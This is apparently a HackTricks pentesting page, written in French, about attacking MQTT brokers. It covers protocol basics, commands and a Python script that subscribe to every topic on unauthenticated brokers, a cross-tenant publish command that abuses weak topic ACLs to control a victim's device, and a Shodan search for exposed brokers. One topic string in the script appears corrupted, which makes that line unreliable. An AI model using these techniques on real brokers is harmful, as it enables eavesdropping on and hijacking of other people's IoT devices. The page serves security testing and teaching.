1883 - Pentesting MQTT (Mosquitto)
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
MQ Telemetry Transport (MQTT) est connu comme un protocole de messagerie publication/abonnement qui se distingue par sa simplicitĂ© et sa lĂ©gĂšretĂ© extrĂȘmes. Ce protocole est spĂ©cialement conçu pour les environnements oĂč les appareils ont des capacitĂ©s limitĂ©es et fonctionnent sur des rĂ©seaux caractĂ©risĂ©s par une faible bande passante, une forte latence ou des connexions peu fiables. Les objectifs principaux de MQTT incluent la minimisation de l'utilisation de la bande passante rĂ©seau et la rĂ©duction de la demande sur les ressources des appareils. De plus, il vise Ă maintenir une communication fiable et Ă fournir un certain niveau de garantie de livraison. Ces objectifs rendent MQTT particuliĂšrement adaptĂ© au domaine en pleine expansion de la communication machine-Ă -machine (communication M2M) et de l'Internet des Objets (IoT), oĂč il est essentiel de connecter efficacement une multitude d'appareils. En outre, MQTT est trĂšs utile pour les applications mobiles, oĂč prĂ©server la bande passante et l'autonomie de la batterie est crucial.
Port par défaut : 1883
PORT STATE SERVICE REASON
1883/tcp open mosquitto version 1.4.8 syn-ack
Inspection du trafic
Lorsque un paquet CONNECT est reçu par les brokers MQTT, un paquet CONNACK est renvoyĂ©. Ce paquet contient un code de retour qui est crucial pour comprendre l'Ă©tat de la connexion. Un code de retour 0x00 signifie que les identifiants ont Ă©tĂ© acceptĂ©s, indiquant une connexion rĂ©ussie. En revanche, un code de retour 0x05 indique que les identifiants sont invalides, empĂȘchant ainsi la connexion.
Par exemple, si le broker refuse la connexion en raison d'identifiants invalides, le scénario ressemblerait à ceci :
{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}
Brute-Force MQTT
Pentesting MQTT
Authentication est totalement optionnelle et mĂȘme si authentication est effectuĂ©e, encryption n'est pas utilisĂ©e par dĂ©faut (credentials sont envoyĂ©s en clear text). MITM attacks peuvent toujours ĂȘtre exĂ©cutĂ©es pour voler des mots de passe.
Pour vous connecter Ă un service MQTT, vous pouvez utiliser : https://github.com/bapowell/python-mqtt-client-shell et vous abonner Ă tous les topics en faisant :
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"
Vous pouvez également utiliser https://github.com/akamai-threat-research/mqtt-pwn
Vous pouvez aussi utiliser :
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
Ou vous pouvez exécuter ce code pour tenter de vous connecter à un service MQTT sans authentification, vous abonner à tous les topics et les écouter :
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os
HOST = "127.0.0.1"
PORT = 1883
def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')
def on_message(client, userdata, message):
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))
def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()
if __name__ == "__main__":
main()
Le modĂšle Publish/Subscribe
Le modÚle publish/subscribe est composé de :
- Publisher : publie un message vers un ou plusieurs topic(s) sur le broker.
- Subscriber : sâabonne Ă un ou plusieurs topic(s) sur le broker et reçoit tous les messages envoyĂ©s par le publisher.
- Broker : achemine tous les messages des publishers vers les subscribers.
- Topic : consiste en un ou plusieurs niveaux séparés par un slash (par ex., /smartshouse/livingroom/temperature).
Packet Format
Chaque paquet MQTT contient un entĂȘte fixe (Figure 02).Figure 02: Fixed Header
Packet Types
- CONNECT (1) : Initié par le client pour demander une connexion au serveur.
- CONNACK (2) : Accusé de réception du serveur confirmant une connexion réussie.
- PUBLISH (3) : Utilisé pour envoyer un message du client vers le serveur ou inversement.
- PUBACK (4) : AccusĂ© de rĂ©ception dâun paquet PUBLISH.
- PUBREC (5) : Partie dâun protocole de livraison garantissant que le message est reçu.
- PUBREL (6) : Assurance supplĂ©mentaire dans la livraison, indiquant la libĂ©ration dâun message.
- PUBCOMP (7) : Partie finale du protocole de livraison, indiquant la complétion.
- SUBSCRIBE (8) : RequĂȘte dâun client pour Ă©couter les messages dâun topic.
- SUBACK (9) : AccusĂ© de rĂ©ception du serveur pour une requĂȘte SUBSCRIBE.
- UNSUBSCRIBE (10) : RequĂȘte dâun client pour arrĂȘter de recevoir des messages dâun topic.
- UNSUBACK (11) : RĂ©ponse du serveur Ă une requĂȘte UNSUBSCRIBE.
- PINGREQ (12) : Message de heartbeat envoyé par le client.
- PINGRESP (13) : Réponse du serveur au heartbeat.
- DISCONNECT (14) : Initié par le client pour terminer la connexion.
- Deux valeurs, 0 et 15, sont marquées comme réservées et leur utilisation est interdite.
IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass
De nombreuses plateformes IoT grand public exposent des brokers MQTT utilisés par deux rÎles distincts :
- Des passerelles/hubs qui font le pont entre des protocoles radio (p.ex., BLE/LoRa/Zigbee) et le cloud.
- Des apps mobiles ou backends web qui contrÎlent les appareils via des topics « app ».
Faiblesses courantes exploitables lors d'un pentest :
- MQTT en clair sur des ports non standard (p.ex., TCP/8001) au lieu de MQTTS. Tout observateur on-path peut lire les identifiants et les frames de contrÎle. Utilisez Wireshark pour repérer le trafic en clair CONNECT/CONNACK et SUBSCRIBE/PUBLISH sur des ports inhabituels.
- ACLs de topic faibles ou absentes par locataire. Si les topics sont namespaced uniquement par deviceId (p.ex., "/tenantless/
/tx"), tout utilisateur authentifiĂ© pourrait envoyer des messages PUBLISH vers les appareils d'autres locataires. - Fuites de donnĂ©es sensibles (leak) via des topics de maintenance/admin (p.ex., identifiants WiâFi diffusĂ©s en clair aprĂšs des changements de config).
Exemples (remplacez les placeholders par des valeurs réelles) :
Subscribe to potentially sensitive topics with known topic prefixes and device IDs:
# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v
ContrĂŽle inter-tenant lorsque les ACLs sont faibles (publish vers le device topic dâun autre tenant):
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'
Shodan
port:1883 MQTT
- Le MQTT en clair sur des ports non standard est courant dans l'IoT. Envisagez de rechercher des brokers sur des ports alternatifs et confirmez-le par détection du protocole.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.